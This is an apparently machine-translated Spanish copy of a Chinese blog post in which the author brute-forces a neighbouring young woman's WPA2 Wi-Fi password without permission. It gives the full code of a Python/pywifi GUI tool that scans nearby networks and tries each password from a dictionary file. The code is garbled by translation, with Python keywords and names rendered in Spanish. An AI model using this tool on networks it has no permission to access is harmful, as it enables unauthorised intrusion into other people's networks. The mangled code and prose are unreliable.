Ayer por la noche después de dejar de red, escribí un pedazo de código para descifrar una contraseña de al lado wifi hermana pequeña

Los desarrolladores de Android han creado ahora un grupo de Amigos del círculo del agua, el círculo de vez en cuando para actualizar algunos datos avanzados de la clase Android, están invitados a discutir con problemas técnicos, el desarrollo común y el progreso! (Interfaz de usuario incluye ingenieros superiores, inferior androide del ingeniero de desarrollo, el arquitecto Android, la optimización del rendimiento de optimización nativa e híbridos, especialización aleteo); pesos pesados ​​de la tecnología quieren unirse, mayor cuanto más el círculo derecho a resolver el problema del agua disponible!

Ayer por la noche, su red de casa, el código de las explotaciones, net stop, que puede ser capaz de hacerlo? red de reparación llamada, dicho demasiado tarde, al día siguiente por venir ...

señal wifi se encontró de repente al lado del papel de la hermana de la red completa wow, eso me hace mover el mal, veo que no hay manera de frotar la red, en primer lugar, el uso de una llave maestra, sin éxito ~~~

v2-d493b465346a3492d0e883eb779f224b_720w.jpeg

Sólo puedo usar el diccionario contraseña para ejecutar, oh, esta pequeña función, asegúrese de pitón solamente por hacer, y la búsqueda, encontré pywifi este componente sólo para satisfacer la demanda.

Echemos un vistazo en el proceso de grabación que mi operación.

v2-fa6558d8284c62d6eb3889d05aee1284_720w.jpeg

pensamiento

Wifi nombre dado, reciclamos una contraseña para conseguir que tratan de hacer, si no logra desconexión hasta que la conexión se realiza correctamente.

Que la importación de las bibliotecas de terceros requeridas (por favor, descargar e instalar su propio bien), llame a la interfaz de red por pywifi, con el fin de hacer la prueba, bucle lee el intento contraseña para conectarse. Aquí sólo se necesita cambiar el nombre de ruta y el archivo de contraseña a Wi-Fi.

Preparación del entorno

  • python2.7

  • módulo pywifi

  • diccionario

módulo de importación

pywifi de importación *

Diccionario ready

Al azar fuera de la wifi débil contraseñas TOP10. Línea sólo contiene una contraseña establecida, gire a la secuencia de comandos lee cada línea de código hasta que se encuentre la contraseña correcta.

v2-ffa19701e960485f06339bc310b71dd3_720w.png

El código completo

# Codificación: UTF-8

de importación tkinter *
tkinter de TTK importación  
pywifi importación
de pywifi const importación
tiempo de importación
tkinter.filedialog importación
tkinter.messagebox importación

clase MY_GUI ():
  def __init __ (self, init_window_name):
    self.init_window_name = init_window_name
    
    # Ruta del archivo de contraseña
    self.get_value = VarCadena ()
    
    # Obtener cuenta grieta wifi
    self.get_wifi_value = VarCadena ()
    
    # Recuperar contraseña wifi
    self.get_wifimm_value = VarCadena ()
    
    self.wifi = pywifi.PyWiFi () # arrastró tarjetas de interfaz de red
    self.iface = self.wifi.interfaces () [0] # buscar el primero tarjeta inalámbrica
    self.iface.disconnect () el enlace # prueba se rompe todos los enlaces
    time.sleep (1) # 1 segundo Sleep
    # Comprobar si la tarjeta pertenece al estado OFF
    self.iface.status assert () en \
        [Const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  
  def __str __ (self):
    retorno '(WIFI:% s,% s)' % (self.wifi, self.iface.name ())
    
  # Ventana Configuración
  def set_init_window (self):
    self.init_window_name.title ( "WIFI herramientas de cracking")
    self.init_window_name.geometry ( '+ 500 + 200')
    
    labelframe = LabelFrame (width = 400, altura = 200, texto = "配置")
    labelframe.grid (columna = 0, fila = 0, padx = 10, pady = 10)
    
    self.search = Botón (labelframe, texto = "搜索 附近 Wi-Fi", comando = self.scans_wifi_list) .grid (columna = 0, fila = 0)
    
    self.pojie = Botón (labelframe, texto = "开始 破解", comando = self.readPassWord) .grid (columna = 1, fila = 0)
    
    self.label = Etiqueta (labelframe, texto = "ruta de directorio:"). cuadrícula (columna = 0, fila = 1)
    
    self.path = Entrada (labelframe, width = 12, textVariable = self.get_value) .grid (columna = 1, fila = 1)
    
    self.file = Botón (labelframe, texto = "Añadir directorio de archivo de contraseña", comando = self.add_mm_file) .grid (columna = 2, fila = 1)
    
    self.wifi_text = Etiqueta (labelframe, texto = "WiFi 账号:"). cuadrícula (columna = 0, fila = 2)
    
    self.wifi_input = Entrada (labelframe, width = 12, textVariable = self.get_wifi_value) .grid (columna = 1, fila = 2)
    
    self.wifi_mm_text = Etiqueta (labelframe, texto = "WiFi 密码:"). cuadrícula (columna = 2, fila = 2)
    
    self.wifi_mm_input = Entrada (labelframe, width = 10, textVariable = self.get_wifimm_value) .grid (columna = 3, fila = 2, pegajoso = W)
    
    self.wifi_labelframe = LabelFrame (texto = "wifi 列表")
    self.wifi_labelframe.grid (columna = 0, fila = 3, ColumnSpan = 4, pegajoso = NSEW)
    
    
    # Definir la estructura de árbol y barras de desplazamiento
    self.wifi_tree = ttk.Treeview (self.wifi_labelframe, se muestran = "partidas", columnas = ( "a", "b", "c", "d"))    
    self.vbar = ttk.Scrollbar (self.wifi_labelframe, orientar = VERTICAL, comando = self.wifi_tree.yview)       
    self.wifi_tree.configure (yscrollcommand = self.vbar.set)
    
    Título # tabla
    self.wifi_tree.column ( "a", width = 50, ancla = "centro")
    self.wifi_tree.column ( "b", width = 100, ancla = "centro")
    self.wifi_tree.column ( "c", width = 100, ancla = "centro")
    self.wifi_tree.column ( "d", width = 100, ancla = "centro")
         
    self.wifi_tree.heading ( "a", texto = "WiFiID")
    self.wifi_tree.heading ( "b", texto = "SSID")
    self.wifi_tree.heading ( "c", texto = "BSSID")
    self.wifi_tree.heading ( "d", texto = "señal")
        
    self.wifi_tree.grid (fila = 4, columna = 0, pegajoso = NSEW)
    self.wifi_tree.bind ( "<Doble-1>", self.onDBClick)
    self.vbar.grid (fila = 4, columna = 1, pegajoso = NS)
    
  # Buscar wifi
  #cmd / k C: \ python27 \ python.exe "$ (FULL_CURRENT_PATH)" y PAUSA Y SALIDA
  def scans_wifi_list (auto) de acceso a internet de exploración # around Lista
    # Iniciar análisis
    imprimir ( "^ _ ^ cerca del comienzo de la exploración wifi ...")
    self.iface.scan ()
    time.sleep (15)
    # Obtener los resultados del análisis después de unos segundos
    scanres = self.iface.scan_results ()
    # Hotspots se encuentran cerca estadísticas
    nums = len (scanres)
    imprimir ( "数量:% s" % (nums))
    #print ( "|% s |% s |% s |% s" % ( "WIFIID", "SSID", "BSSID", "señal"))
    # Los datos reales
    self.show_scans_wifi_list (scanres)
    scanres retorno
  
  # Mostrar una lista de wifi
  def show_scans_wifi_list (self, scans_res):
    para el índice, wifi_info en Enumerar (scans_res):
            # impresión ( "% - * s |% s |% * s |% * s \ n" % (20, índice, wifi_info.ssid, wifi_info.bssid ,, wifi_info.signal))
      self.wifi_tree.insert ( "", 'final', los valores = (índice + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
      #print ( "|% s |% s |% s |% s \ n" % (índice, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
  
  # Directorio de archivos Agregar contraseña
  def add_mm_file (self):
    self.filename = tkinter.filedialog.askopenfilename ()
    self.get_value.set (self.filename)
  
  #Treeview eventos vinculante
  def onDBClick (auto, evento):
    self.sels = event.widget.selection ()
    self.get_wifi_value.set (self.wifi_tree.item (self.sels, "valores") [1])
    #print ( "ha hecho clic sobre", self.wifi_tree.item (self.sels, "valores") [1])
  
  # Leer el diccionario contraseña, partido
  def readPassWord (self):
    self.getFilePath = self.get_value.get ()
    #print ( "Ruta del archivo:% s \ n" % (self.getFilePath))
    self.get_wifissid = self.get_wifi_value.get ()
    #print ( "SSID:% s \ n" % (self.get_wifissid))
    self.pwdfilehander = abiertos (self.getFilePath, "R", errores = "Ignorar")
    while True:
        tratar:
          self.pwdStr = self.pwdfilehander.readline ()
          #print ( "contraseña:% s" % (self.pwdStr))
          No si self.pwdStr:
            descanso
          self.bool1 = self.connect (self.pwdStr, self.get_wifissid)
          #print ( "Valor de retorno:% s \ n" % (self.bool1))
          Si self.bool1:
            # Impresión ( "contraseña es correcta:" + pwdStr
            # Res = "Contraseña:% s derecho \ n" % self.pwdStr;
            self.res = "=== === wifi nombre correcto:% s partido Contraseña:% s" % (self.get_wifissid, self.pwdStr)
            self.get_wifimm_value.set (self.pwdStr)
            tkinter.messagebox.showinfo ( 'pronta', 'break éxito !!!')
            impresión (self.res)
            descanso
          más:
            # Impresión ( "Contraseña:" + + self.pwdStr "error")
            self.res = "--- --- nombre de error wifi:% s partido Contraseña:% s" % (self.get_wifissid, self.pwdStr)
            impresión (self.res)
          sueño (3)
        excepto:
          Seguir
  
  # De wifi y contraseña coinciden
  def connect (auto, pwd_Str, wifi_ssid):
    # Crear un archivo de enlace wifi
    self.profile = pywifi.Profile ()
    self.profile.ssid = wifi_ssid # WiFi 名称
    self.profile.auth = abierta const.AUTH_ALG_OPEN # NIC
    self.profile.akm.append (const.AKM_TYPE_WPA2PSK) algoritmo de cifrado # WiFi
    unidad de cifrado de self.profile.cipher = const.CIPHER_TYPE_CCMP #
    self.profile.key = pwd_Str # contraseña
    self.iface.remove_all_network_profiles () # eliminar todos los archivos wifi
    self.tmp_profile = self.iface.add_network_profile (self.profile) # nuevo conjunto de archivos vinculados
    self.iface.connect (self.tmp_profile) # 链接
    time.sleep (5)
    Si self.iface.status () == const.IFACE_CONNECTED: # determina si o no la conexión
      Isok = True   
    más:
      Isok = false
    self.iface.disconnect () # desconexión
    time.sleep (1)
    # Comprobar estado apagado
    self.iface.status assert () en \
        [Const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    retorno Isok
    
def gui_start ():
  init_window = Tk ()
  ui = MY_GUI (init_window)
  imprimir (UI)
  ui.set_init_window ()
  # Ui.scans_wifi_list ()
  
  init_window.mainloop ()
  
gui_start ()

resultado

resultados de la ejecución se muestran en la figura, que de acuerdo con la interfaz gráfica de usuario de la operación, que puede comenzar a correr hacia arriba.

v2-13940d8689d626dd12024ee9045beb41_720w.png

Hay otras opiniones bienvenida a los comentarios. Preguntas para la discusión Por favor, deje un mensaje, el camino en el anillo: la atención + pulgares, respuesta carta privada a mí 'información' lata en el anillo.


Supongo que te gusta

Origin blog.51cto.com/14557669/2483926
Recomendado
Clasificación